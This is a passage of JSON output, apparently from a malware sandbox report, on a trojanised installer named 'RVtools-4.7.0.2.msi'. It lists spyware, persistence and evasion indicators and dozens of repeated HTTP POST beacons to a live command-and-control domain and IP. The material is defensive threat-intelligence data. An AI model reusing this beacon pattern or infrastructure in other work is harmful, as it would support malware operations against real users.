00000000-00004896)","origin":"Monitored Target","mitre_attack_id":"T1222.001","relevance":5,"id":"target-12","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$68","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Queries the logged on user, group or privileges using Whoami"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}]},"activity":{"stats":{"process_count":17,"spawned_processes_count":17,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":29,"imported_dlls_count":175,"dropped_files_count":0,"extracted_files_count":30,"files_written_count":424,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":264,"http_requests_count":264},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6965de992d7aa6aac6018732","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["USA"],"submit_name":"RVtools-4.7.0.2.msi","analysis_start_time":"2026-01-13T05:56:45+00:00","indicators_count":{"informative":229,"suspicious":65,"malicious":6},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.21.23.246","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}],"dns_resolutions":[{"domain":"mud.alert-router-b3a.workers.dev","address":"104.21.23.246","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}],"http_requests":[{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Ozt6OhXe4DHCP/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Ozt6OhXe4DHCP/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 135\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//EvgHgjJpcJXFDwE/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //EvgHgjJpcJXFDwE/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//GYKZPQC/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //GYKZPQC/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//44eQJ0s/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //44eQJ0s/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 113","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//nLriCsXJRY0pjU4/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //nLriCsXJRY0pjU4/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//iecDFWSMaCxpk/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //iecDFWSMaCxpk/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//hPtHsocy0bcT360/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //hPtHsocy0bcT360/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//NN/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //NN/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//ry4EIsEtVHR/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //ry4EIsEtVHR/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//r74NbQ1c/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //r74NbQ1c/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//gWv3tvls/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //gWv3tvls/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//E73ib/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //E73ib/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//CLWkKQif3TyoNex/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //CLWkKQif3TyoNex/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//yuJfqa5/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //yuJfqa5/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//4zE6wjXfPm/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //4zE6wjXfPm/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//uMvizRgKWrm/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //uMvizRgKWrm/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//YWk3LtlsTlh/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //YWk3LtlsTlh/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//VCO16JdjFVgrek/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //VCO16JdjFVgrek/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//V5XnxYLTue5I/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //V5XnxYLTue5I/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//in1r8lCvwlvYh8/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //in1r8lCvwlvYh8/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//TqdRIC/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //TqdRIC/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Mgu/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Mgu/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//grVkfNP5YbS/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //grVkfNP5YbS/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Rv6/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Rv6/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//ReK8LTc/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //ReK8LTc/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//1NRiY/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //1NRiY/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//kcrds8BwRPsw/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //kcrds8BwRPsw/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//rOrgLDS/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //rOrgLDS/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//0Y7v/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //0Y7v/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//eftCj4Pl01D1/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //eftCj4Pl01D1/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//dtRjszs/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //dtRjszs/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//82ZWEsQ5/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //82ZWEsQ5/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Aali/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Aali/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Vk11/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Vk11/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//5JaUyln/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //5JaUyln/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//QvrLgq/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //QvrLgq/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//EcuHq/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //EcuHq/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//OzkE/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //OzkE/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//mq1piw/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //mq1piw/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Vosr/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Vosr/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//lCjCy/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //lCjCy/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//bmPZJykK5/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //bmPZJykK5/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//SfBGkvcl47TE2/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //SfBGkvcl47TE2/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//2/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //2/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//a74ls/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //a74ls/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//5QRg75bQUzXW/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //5QRg75bQUzXW/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//UCZA5Hx4/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //UCZA5Hx4/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Zbfg2dC0t/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Zbfg2dC0t/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//S/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //S/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//wIktzC3IN58/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //wIktzC3IN58/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//JbU/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //JbU/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//c/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //c/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//yGH/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //yGH/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//K8jP7nmJre6/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //K8jP7nmJre6/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//lho8O58DKJ2tSSr/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //lho8O58DKJ2tSSr/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//OsORM6uS/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //OsORM6uS/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//gI8tRA3H3nztUi/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //gI8tRA3H3nztUi/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//XKzqVXlfhF/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //XKzqVXlfhF/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//yPmMhDc64/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //yPmMhDc64/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//qHguCdKGICNaHo/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //qHguCdKGICNaHo/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//4zHd3SjiB1/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //4zHd3SjiB1/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//iP1/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //iP1/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//D20ZVfw7/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //D20ZVfw7/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//yB8E76U4P/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //yB8E76U4P/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: 